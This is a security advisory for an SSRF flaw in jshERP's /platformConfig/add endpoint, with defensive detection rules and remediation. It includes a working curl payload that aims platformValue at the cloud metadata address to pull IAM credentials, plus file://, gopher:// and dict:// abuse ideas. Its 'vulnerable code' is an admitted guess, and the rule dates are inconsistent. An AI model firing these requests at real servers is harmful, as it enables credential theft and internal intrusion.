CVE-2026-11469

Executive Summary

CVE-2026-11469 is a Server-Side Request Forgery (SSRF) vulnerability in jishenghua jshERP, affecting versions up to and including 3.6. The flaw resides in the insertPlatformConfig function within PlatformConfigService.java, where the platformValue argument is not properly sanitized. An authenticated attacker can craft a malicious request to the /platformConfig/add endpoint, forcing the server to make arbitrary HTTP requests to internal or external resources. This can lead to internal network reconnaissance, access to cloud metadata endpoints, or further lateral movement. The vulnerability has a CVSS score of 4.7 (Medium) and a public proof-of-concept (PoC) exploit is available. No patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a Java-based ERP application distributed as a source code project. The risk is primarily to organizations that have deployed jshERP internally or exposed it to the internet.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The attack is performed remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs a valid user account.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure (e.g., internal service banners, cloud metadata).
• Integrity Impact: Low (I:L) – Limited ability to modify data (e.g., writing to internal services).
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the presence of a public exploit and the potential for internal network pivoting elevates the risk for exposed instances.

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Request Forgery (SSRF) in the PlatformConfigService.java file. The insertPlatformConfig method is responsible for adding new platform configuration entries. It accepts a platformValue parameter, which is intended to store configuration values. However, the application does not validate or sanitize this input before using it to make HTTP requests.

Root Cause: The platformValue is likely used to construct a URL or endpoint that the server will fetch. For example, the application might attempt to validate a configuration by making a request to the provided URL. Without proper validation, an attacker can supply a malicious URL such as http://169.254.169.254/latest/meta-data/ (AWS metadata) or http://internal-service:8080/admin.

Attack Flow:

1. Attacker authenticates to the jshERP application.
2. Attacker sends a POST request to /platformConfig/add with a crafted platformValue parameter.
3. The server processes the request and makes an HTTP request to the attacker-controlled URL.
4. The server returns the response (or error) to the attacker, revealing internal information.

Impact:

• Internal network scanning and service discovery.
• Access to cloud provider metadata (AWS, GCP, Azure) leading to credential theft.
• Potential for blind SSRF to exploit internal services (e.g., Redis, Memcached, databases).
• In some configurations, the attacker may be able to write data to internal services (e.g., via PUT requests).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a simplified representation of the vulnerable logic:

Vulnerable Code (jshERP-boot/src/main/java/com/jsh/erp/service/PlatformConfigService.java):

public void insertPlatformConfig(PlatformConfig platformConfig) {
    // ... other logic ...
    String platformValue = platformConfig.getPlatformValue();
    // VULNERABLE: No validation of platformValue
    URL url = new URL(platformValue);
    HttpURLConnection connection = (HttpURLConnection) url.openConnection();
    // ... process response ...
}

Patched Code (Hypothetical):

public void insertPlatformConfig(PlatformConfig platformConfig) {
    // ... other logic ...
    String platformValue = platformConfig.getPlatformValue();
    // PATCH: Validate the URL against an allowlist
    if (!isAllowedUrl(platformValue)) {
        throw new SecurityException("Invalid platform value");
    }
    URL url = new URL(platformValue);
    HttpURLConnection connection = (HttpURLConnection) url.openConnection();
    // ... process response ...
}

private boolean isAllowedUrl(String url) {
    // Only allow specific, known endpoints
    return url.startsWith("https://api.trusted-service.com/");
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A valid user account on the jshERP instance.
• Network access to the jshERP web interface.

Exploit Steps:

1. Authenticate: Obtain a session cookie or API token.
2. Craft Request: Send a POST request to /platformConfig/add with the following JSON body:

   {
     "platformValue": "http://169.254.169.254/latest/meta-data/"
   }
   

3. Observe Response: The server will fetch the AWS metadata endpoint and return the content (e.g., IAM role credentials).

Example using cURL:

curl -X POST https://target-jsh-erp.com/platformConfig/add \
  -H "Content-Type: application/json" \
  -H "Cookie: JSESSIONID=your_session_id" \
  -d '{"platformValue":"http://169.254.169.254/latest/meta-data/"}'

Advanced Exploitation:

• Use file:// protocol to read local files (if supported by the Java URL handler).
• Use gopher:// or dict:// to interact with internal services (e.g., Redis).
• Chain with other vulnerabilities for RCE.

Blue Team (Defender)

Detection:

• Monitor for POST requests to /platformConfig/add with unusual platformValue parameters.
• Look for outbound HTTP requests from the jshERP server to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x) or cloud metadata IPs (169.254.169.254).
• Alert on any platformValue containing file://, gopher://, or dict:// schemes.

Mitigation:

• Immediate: Restrict outbound network access from the jshERP server using a firewall or egress proxy. Block access to private IP ranges and cloud metadata endpoints.
• Short-term: Implement input validation on the platformValue parameter. Use an allowlist of permitted URLs or schemes.
• Long-term: Apply the vendor patch when available. Consider migrating to a supported ERP solution.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to 169.254.169.254 (AWS/GCP/Azure metadata).
• Outbound HTTP requests to internal IP addresses (e.g., 10.0.0.1, 172.16.0.1, 192.168.1.1).
• POST requests to /platformConfig/add with suspicious platformValue parameters.

File IOCs:

• Log entries in jshERP application logs showing platformValue containing URLs to internal or metadata endpoints.

Behavioral IOCs:

• Unusual outbound connections from the jshERP server to unknown external hosts.
• Multiple failed login attempts followed by successful exploitation (if attacker brute-forces credentials).

Detection Engineering

YARA Rule

rule CVE_2026_11469_SSRF_PlatformConfig {
    meta:
        description = "Detects SSRF exploitation attempts in jshERP platformConfig add endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-11469"
    strings:
        $s1 = "/platformConfig/add" ascii nocase
        $s2 = "platformValue" ascii nocase
        $s3 = "169.254.169.254" ascii nocase
        $s4 = "file://" ascii nocase
        $s5 = "gopher://" ascii nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2026-11469 - jshERP SSRF via platformConfig Add
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /platformConfig/add with suspicious platformValue parameters indicating SSRF.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/platformConfig/add'
        cs-uri-query|contains: 'platformValue'
    keywords:
        - '169.254.169.254'
        - 'file://'
        - 'gopher://'
        - 'dict://'
    condition: selection and keywords
falsepositives:
    - Legitimate use of external configuration URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-11469 - jshERP SSRF via platformConfig Add";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/platformConfig/add"; http_uri;
    content:"platformValue"; http_client_body;
    pcre:"/(169\.254\.169\.254|file:\/\/|gopher:\/\/|dict:\/\/)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2026-11469;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place the jshERP server in a restricted network segment with egress filtering. Block all outbound traffic to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and cloud metadata IPs (169.254.169.254).
2. Input Validation: Implement server-side validation of the platformValue parameter. Only allow URLs that match a predefined allowlist (e.g., specific trusted external services).
3. Disable Unused Features: If the platformConfig feature is not required, disable the endpoint or remove the functionality.

Long-term Actions:

1. Apply Patch: Monitor the jshERP GitHub repository for a security patch. Apply it as soon as it becomes available.
2. Upgrade: Consider upgrading to a newer version of jshERP or migrating to a different ERP solution that is actively maintained.
3. Code Review: Conduct a thorough code review of the application to identify similar SSRF vulnerabilities in other endpoints.

Workaround:

• If patching is not possible, use a Web Application Firewall (WAF) to block requests containing 169.254.169.254, file://, gopher://, or dict:// in the platformValue parameter.

Valters IT